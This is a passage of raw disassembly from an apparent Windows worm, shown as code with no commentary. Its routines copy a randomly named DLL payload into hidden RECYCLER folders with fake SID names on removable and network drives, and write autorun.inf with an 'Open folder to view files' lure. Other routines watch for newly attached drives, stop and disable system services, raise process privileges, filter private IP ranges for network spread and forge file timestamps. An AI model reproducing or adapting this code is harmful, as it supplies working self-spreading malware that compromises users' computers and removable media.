push 7A0h push offset stru_9A4350 call __SEH_prolog mov edi, [ebp+arg_0] mov [ebp+hMem], edi xor esi, esi mov [ebp+ms_exc.disabled], esi mov [ebp+var_40], esi mov [ebp+FileSystemFlags], esi call sub_9AC33A push esi ; nFileSystemNameSize push esi ; lpFileSystemNameBuffer lea eax, [ebp+FileSystemFlags] push eax ; lpFileSystemFlags push esi ; lpMaximumComponentLength push esi ; lpVolumeSerialNumber push esi ; nVolumeNameSize push esi ; lpVolumeNameBuffer push dword ptr [edi+4] ; lpRootPathName call GetVolumeInformationA test eax, eax jz loc_9AAFB6 test byte ptr [ebp+FileSystemFlags+2], 8 jnz loc_9AAFB6 push 80012F5h ; Seed call srand mov esi, rand call esi ; rand cdq push 4 pop ecx idiv ecx add edx, 5 push edx lea eax, [ebp+var_3C] push eax call sub_9AB647 add esp, 0Ch loc_9AAC17: ; CODE XREF: sub_9AABA4+99j call esi ; rand cdq push 3 pop ecx idiv ecx inc edx push edx lea eax, [ebp+Str1] push eax call sub_9AB647 push offset aDll_0 ; "dll" lea eax, [ebp+Str1] push eax ; Str1 call strcmp add esp, 10h test eax, eax jz short loc_9AAC17 call esi ; rand cdq push 10h pop ecx idiv ecx test edx, edx jz loc_9AAD03 mov edi, 104h push edi ; Count push offset aRecycler ; "RECYCLER" lea eax, [ebp+Dest] push eax ; Dest call strncpy add esp, 0Ch mov [ebp+var_365], 0 call esi ; rand cdq mov ebx, 2710h mov ecx, ebx idiv ecx push edx call esi ; rand cdq push 0Ah pop ecx idiv ecx push edx call esi ; rand cdq mov ecx, ebx idiv ecx push edx call esi ; rand cdq mov ecx, ebx idiv ecx push edx call esi ; rand cdq push 64h pop ecx idiv ecx push edx call esi ; rand cdq mov ecx, ebx idiv ecx push edx call esi ; rand cdq mov ecx, ebx idiv ecx push edx call esi ; rand cdq push 64h pop ecx idiv ecx push edx call esi ; rand cdq mov ecx, ebx idiv ecx push edx call esi ; rand cdq idiv ebx push edx call esi ; rand cdq push 64h pop ecx idiv ecx push edx call esi ; rand cdq push 0Ah pop ecx idiv ecx push edx call esi ; rand cdq push 0Ah pop ecx idiv ecx push edx push offset aSDDDDDDDDDDDDD ; "S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d" push edi ; Count lea eax, [ebp+var_260] push eax ; Dest mov ebx, _snprintf call ebx ; _snprintf add esp, 40h mov [ebp+var_15D], 0 jmp short loc_9AAD41 ; --------------------------------------------------------------------------- loc_9AAD03: ; CODE XREF: sub_9AABA4+A5j call esi ; rand cdq push 14h pop ecx idiv ecx add edx, 5 push edx lea eax, [ebp+Dest] push eax call sub_9AB647 call esi ; rand cdq push 1Eh pop ecx idiv ecx add edx, 0Ah push edx lea eax, [ebp+var_260] push eax call sub_9AB647 add esp, 10h mov edi, 104h mov ebx, _snprintf loc_9AAD41: ; CODE XREF: sub_9AABA4+15Dj lea eax, [ebp+Str1] push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+Dest] push eax mov eax, [ebp+hMem] push dword ptr [eax+4] push offset aSSSS_S ; "%s%s\\%s\\%s.%s" push edi ; Count lea eax, [ebp+FileName] push eax ; Dest call ebx ; _snprintf add esp, 20h mov [ebp+var_59], 0 mov [ebp+var_20], 1 and [ebp+var_30], 0 lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+FileName] push eax ; lpFileName call FindFirstFileA mov [ebp+var_24], eax cmp eax, 0FFFFFFFFh jz short loc_9AADA1 push eax ; hFindFile call FindClose loc_9AADA1: ; CODE XREF: sub_9AABA4+1F4j cmp [ebp+var_24], 0FFFFFFFFh jz short loc_9AADB4 cmp [ebp+FindFileData.nFileSizeLow], 0 jnz loc_9AAED9 loc_9AADB4: ; CODE XREF: sub_9AABA4+201j lea eax, [ebp+Dest] push eax mov eax, [ebp+hMem] push dword ptr [eax+4] push offset aSS_0 ; "%s%s" push edi ; Count lea eax, [ebp+PathName] push eax ; Dest call ebx ; _snprintf mov [ebp+var_261], 0 push 1F01FFh ; int lea eax, [ebp+PathName] push eax ; lpFileName call sub_9AC163 add esp, 1Ch push 0 ; lpSecurityAttributes lea eax, [ebp+PathName] push eax ; lpPathName call CreateDirectoryA mov [ebp+var_20], eax test eax, eax jnz short loc_9AAE12 call GetLastError cmp eax, 0B7h jnz loc_9AAED9 loc_9AAE12: ; CODE XREF: sub_9AABA4+25Bj lea eax, [ebp+var_260] push eax lea eax, [ebp+PathName] push eax push offset aSS_1 ; "%s\\%s" push edi ; Count lea eax, [ebp+var_56C] push eax ; Dest call ebx ; _snprintf mov [ebp+var_469], 0 push 1F01FFh ; int lea eax, [ebp+var_56C] push eax ; lpFileName call sub_9AC163 add esp, 1Ch push 0 ; lpSecurityAttributes lea eax, [ebp+var_56C] push eax ; lpPathName call CreateDirectoryA mov [ebp+var_20], eax test eax, eax jnz short loc_9AAE6D call GetLastError cmp eax, 0B7h jnz short loc_9AAEC9 loc_9AAE6D: ; CODE XREF: sub_9AABA4+2BAj push 1F01FFh ; int lea eax, [ebp+FileName] push eax ; lpFileName call sub_9AC163 lea eax, [ebp+FileName] push eax ; lpFileName push ds:nNumberOfBytesToWrite ; nNumberOfBytesToWrite push ds:lpBuffer ; lpBuffer call sub_9AB7F5 add esp, 14h mov [ebp+var_20], eax test eax, eax jz short loc_9AAEC9 push 1200A9h ; int lea eax, [ebp+FileName] push eax ; lpFileName call sub_9AC163 push 21h ; int lea eax, [ebp+var_56C] push eax ; lpFileName call sub_9AC163 add esp, 10h mov [ebp+var_30], 1 loc_9AAEC9: ; CODE XREF: sub_9AABA4+2C7j ; sub_9AABA4+2FAj push 0 ; int lea eax, [ebp+PathName] push eax ; lpFileName call sub_9AC132 pop ecx pop ecx loc_9AAED9: ; CODE XREF: sub_9AABA4+20Aj ; sub_9AABA4+268j cmp [ebp+var_20], 0 jz loc_9AAFB6 mov eax, [ebp+hMem] push dword ptr [eax+4] push offset aSautorun_inf ; "%sautorun.inf" push edi ; Count lea eax, [ebp+FileName] push eax ; Dest call ebx ; _snprintf add esp, 10h mov [ebp+var_59], 0 lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+FileName] push eax ; lpFileName call FindFirstFileA mov [ebp+var_24], eax cmp eax, 0FFFFFFFFh jz short loc_9AAF22 push eax ; hFindFile call FindClose loc_9AAF22: ; CODE XREF: sub_9AABA4+375j cmp [ebp+var_24], 0FFFFFFFFh jz short loc_9AAF3A cmp [ebp+FindFileData.nFileSizeLow], 1000h jb short loc_9AAF3A cmp [ebp+var_30], 0 jz short loc_9AAFB6 loc_9AAF3A: ; CODE XREF: sub_9AABA4+382j ; sub_9AABA4+38Ej ... call esi ; rand cdq push 14h pop ecx idiv ecx inc edx push edx lea eax, [ebp+var_58] push eax call sub_9AB647 push offset aMarnwkcw ; "marnwkcw" lea eax, [ebp+var_58] push eax ; Str1 call strcmp add esp, 10h test eax, eax jz short loc_9AAF3A lea eax, [ebp+var_58] push eax lea eax, [ebp+Str1] push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+Dest] push eax push offset a_SSS_SS ; ".\\%s\\%s\\%s.%s,%s" push edi ; Count lea eax, [ebp+Source] push eax ; Dest call ebx ; _snprintf mov [ebp+var_6AD], 0 mov eax, [ebp+hMem] push dword ptr [eax] ; int lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+FileName] push eax ; lpFileName call sub_9AAAA0 add esp, 2Ch jmp short loc_9AAFB6 ; --------------------------------------------------------------------------- loc_9AAFAF: ; DATA XREF: .text:stru_9A4350o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AAFB3: ; DATA XREF: .text:stru_9A4350o mov esp, [ebp+ms_exc.old_esp] loc_9AAFB6: ; CODE XREF: sub_9AABA4+3Aj ; sub_9AABA4+44j ... or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+hMem] push dword ptr [esi+4] ; Memory call free pop ecx push esi ; hMem call GlobalFree xor eax, eax call __SEH_epilog retn 4 sub_9AABA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AAFD8(const CHAR Src) sub_9AAFD8 proc near ; CODE XREF: sub_9AB07D+12p ThreadId = dword ptr -4 Src = byte ptr 8 push ebp mov ebp, esp push ecx cmp dword ptr [ebp+Src], 8000h jnz locret_9AB07B cmp dword ptr [eax+4], 2 jnz locret_9AB07B mov ecx, [eax+0Ch] xor al, al loc_9AAFF8: ; CODE XREF: sub_9AAFD8+2Bj test cl, 1 jnz short loc_9AB005 shr ecx, 1 inc al cmp al, 1Ah jl short loc_9AAFF8 loc_9AB005: ; CODE XREF: sub_9AAFD8+23j cmp al, 1 jle short locret_9AB07B add al, 41h mov [ebp+Src], al push edi lea eax, [ebp+Src] push eax ; lpRootPathName mov byte ptr [ebp+9], 3Ah mov byte ptr [ebp+0Ah], 5Ch mov byte ptr [ebp+0Bh], 0 call GetDriveTypeA mov edi, eax cmp edi, 2 jz short loc_9AB03B cmp edi, 3 jz short loc_9AB03B cmp edi, 4 jz short loc_9AB03B cmp edi, 5 jnz short loc_9AB07A loc_9AB03B: ; CODE XREF: sub_9AAFD8+52j ; sub_9AAFD8+57j ... push esi push 8 ; dwBytes push 40h ; uFlags call GlobalAlloc mov esi, eax test esi, esi jz short loc_9AB079 lea eax, [ebp+Src] push eax ; Src mov [esi], edi call _strdup pop ecx mov [esi+4], eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push esi ; lpParameter push offset sub_9AABA4 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle loc_9AB079: ; CODE XREF: sub_9AAFD8+72j pop esi loc_9AB07A: ; CODE XREF: sub_9AAFD8+61j pop edi locret_9AB07B: ; CODE XREF: sub_9AAFD8+Bj ; sub_9AAFD8+15j ... leave retn sub_9AAFD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_9AB07D(int, int, CHAR Src, int) sub_9AB07D proc near ; DATA XREF: sub_9AB0A3+1Eo arg_4 = dword ptr 0Ch Src = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_4], 219h jnz short loc_9AB09C push dword ptr [ebp+Src] ; Src mov eax, [ebp+arg_C] call sub_9AAFD8 xor eax, eax pop ecx inc eax pop ebp retn 10h ; --------------------------------------------------------------------------- loc_9AB09C: ; CODE XREF: sub_9AB07D+Aj pop ebp jmp DefWindowProcA sub_9AB07D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AB0A3(LPVOID) sub_9AB0A3 proc near ; DATA XREF: sub_9AB2C3+6Fo Dst = byte ptr -58h var_54 = dword ptr -54h hInstance = dword ptr -48h var_34 = dword ptr -34h Msg = MSG ptr -30h ClassName = byte ptr -14h push ebp mov ebp, esp sub esp, 58h push esi call sub_9AB510 push 28h ; Size xor esi, esi lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call memset add esp, 0Ch push esi ; lpModuleName mov [ebp+var_54], offset sub_9AB07D call GetModuleHandleA mov [ebp+hInstance], eax call rand push 0Ah pop ecx cdq idiv ecx lea eax, [ebp+ClassName] add edx, ecx push edx push eax call sub_9AB647 pop ecx lea eax, [ebp+ClassName] mov [ebp+var_34], eax pop ecx lea eax, [ebp+Dst] push eax ; lpWndClass call RegisterClassA push esi ; lpParam push [ebp+hInstance] ; hInstance mov eax, 80000000h push esi ; hMenu push esi ; hWndParent push eax ; nHeight push eax ; nWidth push eax ; Y push eax ; X push esi ; dwStyle push offset Password ; lpWindowName lea eax, [ebp+ClassName] push eax ; lpClassName push esi ; dwExStyle call CreateWindowExA test eax, eax jz short loc_9AB14F push edi mov edi, GetMessageA jmp short loc_9AB141 ; --------------------------------------------------------------------------- loc_9AB128: ; CODE XREF: sub_9AB0A3+A9j cmp eax, 0FFFFFFFFh jz short loc_9AB14E lea eax, [ebp+Msg] push eax ; lpMsg call TranslateMessage lea eax, [ebp+Msg] push eax ; lpMsg call DispatchMessageA loc_9AB141: ; CODE XREF: sub_9AB0A3+83j push esi ; wMsgFilterMax push esi ; wMsgFilterMin lea eax, [ebp+Msg] push esi ; hWnd push eax ; lpMsg call edi ; GetMessageA cmp eax, esi jnz short loc_9AB128 loc_9AB14E: ; CODE XREF: sub_9AB0A3+88j pop edi loc_9AB14F: ; CODE XREF: sub_9AB0A3+7Aj xor eax, eax pop esi leave retn 4 sub_9AB0A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AB156(LPVOID) sub_9AB156 proc near ; DATA XREF: sub_9AB2C3+57o var_10 = dword ptr -10h var_C = dword ptr -0Ch Src = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov edi, Sleep mov ebx, 1388h push ebx ; dwMilliseconds call edi ; Sleep call GetLogicalDrives mov [ebp+var_C], eax mov [ebp+var_1], 0 loc_9AB17A: ; CODE XREF: sub_9AB156+91j test byte ptr [ebp+var_C], 1 jz short loc_9AB1DD cmp [ebp+var_1], 1 jle short loc_9AB1DD mov al, [ebp+var_1] add al, 41h mov [ebp+Src], al lea eax, [ebp+Src] push eax ; lpRootPathName mov [ebp+var_7], 3Ah mov [ebp+var_6], 5Ch mov [ebp+var_5], 0 call GetDriveTypeA cmp eax, 2 mov [ebp+var_10], eax jz short loc_9AB1B1 cmp eax, 4 jnz short loc_9AB1DD loc_9AB1B1: ; CODE XREF: sub_9AB156+54j push 8 ; dwBytes push 40h ; uFlags call GlobalAlloc mov esi, eax test esi, esi jz short loc_9AB1DD mov eax, [ebp+var_10] mov [esi], eax lea eax, [ebp+Src] push eax ; Src call _strdup pop ecx push esi ; LPVOID mov [esi+4], eax call sub_9AABA4 push ebx ; dwMilliseconds call edi ; Sleep loc_9AB1DD: ; CODE XREF: sub_9AB156+28j ; sub_9AB156+2Ej ... shr [ebp+var_C], 1 inc [ebp+var_1] cmp [ebp+var_1], 1Ah jl short loc_9AB17A pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_9AB156 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AB1F2 proc near ; CODE XREF: sub_9A799E+190p CommandLine = byte ptr -228h var_125 = byte ptr -125h Dest = byte ptr -124h var_21 = byte ptr -21h Dst = byte ptr -20h push ebp mov ebp, esp sub esp, 228h push ebx push esi push edi xor ebx, ebx push ebx ; Data push offset aCheckedvalue ; "CheckedValue" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h ; hKey call sub_9AC0F9 push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call memset add esp, 1Ch push 1 ; bSet push 40021h ; dwMask lea eax, [ebp+Dst] push eax ; lpss call SHGetSetSettings mov esi, 104h push esi ; Count lea eax, [ebp+Dest] push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll" push eax ; Dest call strncpy add esp, 0Ch mov [ebp+var_21], bl xor edi, edi loc_9AB255: ; CODE XREF: sub_9AB1F2+7Ej lea eax, [ebp+Dest] push 5Ch ; Ch push eax ; Str call strrchr cmp eax, ebx pop ecx pop ecx jz short loc_9AB272 inc edi cmp edi, 3 mov [eax], bl jl short loc_9AB255 loc_9AB272: ; CODE XREF: sub_9AB1F2+76j cmp [ebp+Dest], bl jnz short loc_9AB28D lea eax, [ebp+Dest] push offset a__0 ; "." push eax ; Dest call strcpy pop ecx pop ecx loc_9AB28D: ; CODE XREF: sub_9AB1F2+86j lea eax, [ebp+Dest] push eax push offset aExplorerS ; "explorer %s" lea eax, [ebp+CommandLine] push esi ; Count push eax ; Dest call _snprintf lea eax, [ebp+CommandLine] push 1 ; int push eax ; lpCommandLine mov [ebp+var_125], bl call sub_9AC2CA add esp, 18h pop edi pop esi pop ebx leave retn sub_9AB1F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AB2C3 proc near ; CODE XREF: StartAddress:loc_9A7967p ThreadId = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi push offset aShell32_dll ; "shell32.dll" call GetModuleHandleA xor ebx, ebx cmp eax, ebx mov esi, offset Buffer jz short loc_9AB301 push 100h ; cchBufferMax push esi ; lpBuffer push 4302h ; uID push eax ; hInstance call LoadStringA test eax, eax jz short loc_9AB301 push esi ; Str call strlen test eax, eax pop ecx jnz short loc_9AB30E loc_9AB301: ; CODE XREF: sub_9AB2C3+1Bj ; sub_9AB2C3+31j push offset aOpenFolderToVi ; "Open folder to view files" push esi ; Dest call strcpy pop ecx pop ecx loc_9AB30E: ; CODE XREF: sub_9AB2C3+3Cj mov esi, CreateThread lea eax, [ebp+ThreadId] push eax ; lpThreadId push ebx ; dwCreationFlags push ebx ; lpParameter push offset sub_9AB156 ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call esi ; CreateThread mov edi, CloseHandle push eax ; hObject call edi ; CloseHandle lea eax, [ebp+ThreadId] push eax ; lpThreadId push ebx ; dwCreationFlags push ebx ; lpParameter push offset sub_9AB0A3 ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes call esi ; CreateThread push eax ; hObject call edi ; CloseHandle pop edi pop esi pop ebx leave retn sub_9AB2C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AB343 proc near ; CODE XREF: sub_9A9072:loc_9A90C0p ; sub_9AEA12+24p RootPathName = byte ptr -108h var_105 = byte ptr -105h VolumeSerialNumber= dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h ; uSize lea eax, [ebp+RootPathName] push eax ; lpBuffer mov [ebp+VolumeSerialNumber], 12345678h call GetSystemDirectoryA xor eax, eax push eax ; nFileSystemNameSize push eax ; lpFileSystemNameBuffer push eax ; lpFileSystemFlags push eax ; lpMaximumComponentLength lea ecx, [ebp+VolumeSerialNumber] push ecx ; lpVolumeSerialNumber push eax ; nVolumeNameSize push eax ; lpVolumeNameBuffer mov [ebp+var_105], al lea eax, [ebp+RootPathName] push eax ; lpRootPathName call GetVolumeInformationA mov eax, [ebp+VolumeSerialNumber] leave retn sub_9AB343 endp ; =============== S U B R O U T I N E ======================================= sub_9AB389 proc near ; CODE XREF: sub_9A8DB4+7p ; sub_9AC5BB+BCp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor eax, eax mov edx, ecx and edx, 0FFFFh inc eax cmp edx, 0A8C0h jz short loc_9AB3B3 cmp cl, 0Ah jz short loc_9AB3B3 and ecx, 0F0FFh cmp ecx, 10ACh jnz short locret_9AB3B5 loc_9AB3B3: ; CODE XREF: sub_9AB389+15j ; sub_9AB389+1Aj xor eax, eax locret_9AB3B5: ; CODE XREF: sub_9AB389+28j retn sub_9AB389 endp ; =============== S U B R O U T I N E ======================================= sub_9AB3B6 proc near ; CODE XREF: sub_9AB41B+A4p ; sub_9AC5BB+AFp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov ecx, esi and ecx, 0FFh xor eax, eax cmp ecx, 7Fh jz short loc_9AB419 test ecx, ecx jz short loc_9AB419 mov ecx, esi and ecx, 0FFFFh cmp ecx, 0FEA9h jz short loc_9AB419 mov ecx, esi and ecx, 0FEFFh cmp ecx, 12C6h jz short loc_9AB419 mov ecx, esi and ecx, 0FFFFFFh cmp ecx, 0FFFFFDh jz short loc_9AB419 mov ecx, esi mov edx, 0F0h and ecx, edx cmp ecx, 0E0h jz short loc_9AB419 cmp ecx, edx jz short loc_9AB419 cmp esi, 0FFFFFFFFh jz short loc_9AB419 inc eax loc_9AB419: ; CODE XREF: sub_9AB3B6+12j ; sub_9AB3B6+16j ... pop esi retn sub_9AB3B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB41B(void *Dst, int) sub_9AB41B proc near ; CODE XREF: sub_9ACABE+62p ; sub_9ACABE+3ACp vOutBuffer = byte ptr -4C14h s = dword ptr -14h var_10 = dword ptr -10h cbBytesReturned = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 4C14h call __alloca_probe push ebx push esi mov esi, [ebp+Dst] push edi mov edi, [ebp+arg_4] lea eax, [edi+edi*2] shl eax, 2 push eax ; Size xor ebx, ebx push ebx ; Val push esi ; Dst mov [ebp+var_4], ebx call memset add esp, 0Ch push ebx ; protocol push 1 ; type push 2 ; af call socket cmp eax, 0FFFFFFFFh mov [ebp+s], eax jz loc_9AB508 push ebx ; lpCompletionRoutine push ebx ; lpOverlapped lea ecx, [ebp+cbBytesReturned] push ecx ; lpcbBytesReturned push 4C00h ; cbOutBuffer lea ecx, [ebp+vOutBuffer] push ecx ; lpvOutBuffer push ebx ; cbInBuffer push ebx ; lpvInBuffer push 4004747Fh ; dwIoControlCode push eax ; s call WSAIoctl test eax, eax jnz short loc_9AB4FF mov eax, [ebp+cbBytesReturned] push 4Ch xor edx, edx pop ecx div ecx mov [ebp+var_8], ebx cmp eax, ebx mov [ebp+cbBytesReturned], eax jbe short loc_9AB4FF lea ebx, [ebp+vOutBuffer] add esi, 8 jmp short loc_9AB4A4 ; --------------------------------------------------------------------------- loc_9AB4A1: ; CODE XREF: sub_9AB41B+E2j mov edi, [ebp+arg_4] loc_9AB4A4: ; CODE XREF: sub_9AB41B+84j cmp [ebp+var_4], edi jnb short loc_9AB4FF mov eax, [ebx+8] mov edi, [ebx+38h] and edi, eax mov [ebp+var_10], eax mov eax, [ebx] test al, 1 jz short loc_9AB4F1 test al, 4 jnz short loc_9AB4F1 push edi call sub_9AB3B6 test eax, eax pop ecx jz short loc_9AB4F1 cmp [ebp+var_10], 0 jz short loc_9AB4F1 cmp [ebp+var_10], 0FFFFFFFFh jz short loc_9AB4F1 push dword ptr [ebx+38h] ; netlong call __imp_ntohl_0 mov ecx, [ebp+var_10] inc [ebp+var_4] not eax mov [esi-8], ecx mov [esi-4], edi mov [esi], eax add esi, 0Ch loc_9AB4F1: ; CODE XREF: sub_9AB41B+9Dj ; sub_9AB41B+A1j ... inc [ebp+var_8] mov eax, [ebp+var_8] add ebx, 4Ch cmp eax, [ebp+cbBytesReturned] jb short loc_9AB4A1 loc_9AB4FF: ; CODE XREF: sub_9AB41B+65j ; sub_9AB41B+79j ... push [ebp+s] ; s call closesocket loc_9AB508: ; CODE XREF: sub_9AB41B+3Dj mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_9AB41B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AB510 proc near ; CODE XREF: sub_9A752A+36p ; StartAddress+15p ... PerformanceCount= LARGE_INTEGER ptr -8 push ebp mov ebp, esp push ecx push ecx push esi push edi call GetCurrentThreadId mov esi, eax call GetCurrentProcessId mov edi, eax lea eax, [ebp+PerformanceCount] push eax ; lpPerformanceCount call QueryPerformanceCounter test eax, eax jnz short loc_9AB53F and dword ptr [ebp+PerformanceCount+4], eax mov dword ptr [ebp+PerformanceCount], 4362AEB0h loc_9AB53F: ; CODE XREF: sub_9AB510+23j call GetTickCount xor eax, dword ptr [ebp+PerformanceCount] xor eax, edi xor eax, esi push eax ; Seed call srand pop ecx pop edi pop esi leave retn sub_9AB510 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AB558(LPCSTR lpServiceName) sub_9AB558 proc near ; CODE XREF: StartAddress+13Ap ; StartAddress+157p ... hSCObject = dword ptr -20h ServiceStatus = _SERVICE_STATUS ptr -1Ch lpServiceName = dword ptr 4 sub esp, 20h push ebp push edi push 0F003Fh ; dwDesiredAccess xor edi, edi push edi ; lpDatabaseName push edi ; lpMachineName xor ebp, ebp call OpenSCManagerA cmp eax, edi mov [esp+28h+hSCObject], eax jz short loc_9AB5D4 push ebx push esi push 20022h ; dwDesiredAccess push [esp+34h+lpServiceName] ; lpServiceName push eax ; hSCManager call OpenServiceA mov ebx, CloseServiceHandle mov esi, eax cmp esi, edi jz short loc_9AB5CC lea eax, [esp+30h+ServiceStatus] push eax ; lpServiceStatus push 1 ; dwControl push esi ; hService call ControlService mov ebp, eax cmp ebp, edi jz short loc_9AB5B3 push 0FA0h ; dwMilliseconds call Sleep loc_9AB5B3: ; CODE XREF: sub_9AB558+4Ej push edi ; lpDisplayName push edi ; lpPassword push edi ; lpServiceStartName push edi ; lpDependencies push edi ; lpdwTagId push edi ; lpLoadOrderGroup push edi ; lpBinaryPathName push 0FFFFFFFFh ; dwErrorControl push 4 ; dwStartType push 0FFFFFFFFh ; dwServiceType push esi ; hService call ChangeServiceConfigA push esi ; hSCObject or ebp, eax call ebx ; CloseServiceHandle loc_9AB5CC: ; CODE XREF: sub_9AB558+3Aj push [esp+30h+hSCObject] ; hSCObject call ebx ; CloseServiceHandle pop esi pop ebx loc_9AB5D4: ; CODE XREF: sub_9AB558+1Cj pop edi mov eax, ebp pop ebp add esp, 20h retn sub_9AB558 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB5DC(LPCSTR lpName, int) sub_9AB5DC proc near ; CODE XREF: sub_9A7170+93p ; sub_9A799E+4Fp NewState = _TOKEN_PRIVILEGES ptr -14h hObject = dword ptr -4 lpName = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push edi lea eax, [ebp+hObject] push eax ; TokenHandle push 28h ; DesiredAccess xor edi, edi call GetCurrentProcess push eax ; ProcessHandle call OpenProcessToken test eax, eax jz short loc_9AB642 mov eax, [ebp+arg_4] neg eax sbb eax, eax and eax, 2 mov [ebp+NewState.Privileges.Attributes], eax lea eax, [ebp+NewState.Privileges] push eax ; lpLuid push [ebp+lpName] ; lpName mov [ebp+NewState.PrivilegeCount], 1 push edi ; lpSystemName call LookupPrivilegeValueA test eax, eax jz short loc_9AB639 push edi ; ReturnLength push edi ; PreviousState push 10h ; BufferLength lea eax, [ebp+NewState] push eax ; NewState push edi ; DisableAllPrivileges push [ebp+hObject] ; TokenHandle call AdjustTokenPrivileges test eax, eax jz short loc_9AB639 inc edi loc_9AB639: ; CODE XREF: sub_9AB5DC+44j ; sub_9AB5DC+5Aj push [ebp+hObject] ; hObject call CloseHandle loc_9AB642: ; CODE XREF: sub_9AB5DC+1Ej mov eax, edi pop edi leave retn sub_9AB5DC endp ; =============== S U B R O U T I N E ======================================= sub_9AB647 proc near ; CODE XREF: sub_9A752A+31p ; sub_9A799E+AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_9AB66F loc_9AB658: ; CODE XREF: sub_9AB647+26j call rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_9AB658 loc_9AB66F: ; CODE XREF: sub_9AB647+Fj mov byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_9AB647 endp ; =============== S U B R O U T I N E ======================================= sub_9AB677 proc near ; CODE XREF: sub_9A8326+81p ; sub_9A8326+BAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_9AB6A0 loc_9AB688: ; CODE XREF: sub_9AB677+27j call rand push 1Ah cdq pop ecx idiv ecx add edx, 61h mov [ebx+esi*2], dx inc esi cmp esi, edi jl short loc_9AB688 loc_9AB6A0: ; CODE XREF: sub_9AB677+Fj and word ptr [ebx+edi*2], 0 pop edi pop esi pop ebx retn sub_9AB677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB6A9(LPCSTR lpFileName) sub_9AB6A9 proc near ; CODE XREF: sub_9A752A+FEp ; sub_9A8326+200p ... FileName = byte ptr -11Ch LastWriteTime = _FILETIME ptr -18h CreationTime = _FILETIME ptr -10h LastAccessTime = _FILETIME ptr -8 lpFileName = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi push edi push 104h ; nSize lea eax, [ebp+FileName] push eax ; lpFilename push offset aKernel32_dll ; "kernel32.dll" call GetModuleHandleA push eax ; hModule call GetModuleFileNameA mov esi, CreateFileA xor ebx, ebx push ebx ; hTemplateFile push ebx ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 1 ; dwShareMode push 80000000h ; dwDesiredAccess lea eax, [ebp+FileName] push eax ; lpFileName call esi ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_9AB741 lea eax, [ebp+LastWriteTime] push eax ; lpLastWriteTime lea eax, [ebp+LastAccessTime] push eax ; lpLastAccessTime lea eax, [ebp+CreationTime] push eax ; lpCreationTime push edi ; hFile call GetFileTime push edi ; hObject mov edi, CloseHandle call edi ; CloseHandle push ebx ; hTemplateFile push ebx ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 3 ; dwShareMode push 0C0000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_9AB741 lea eax, [ebp+LastWriteTime] push eax ; lpLastWriteTime lea eax, [ebp+LastAccessTime] push eax ; lpLastAccessTime lea eax, [ebp+CreationTime] push eax ; lpCreationTime push esi ; hFile call SetFileTime push esi ; hObject call edi ; CloseHandle loc_9AB741: ; CODE XREF: 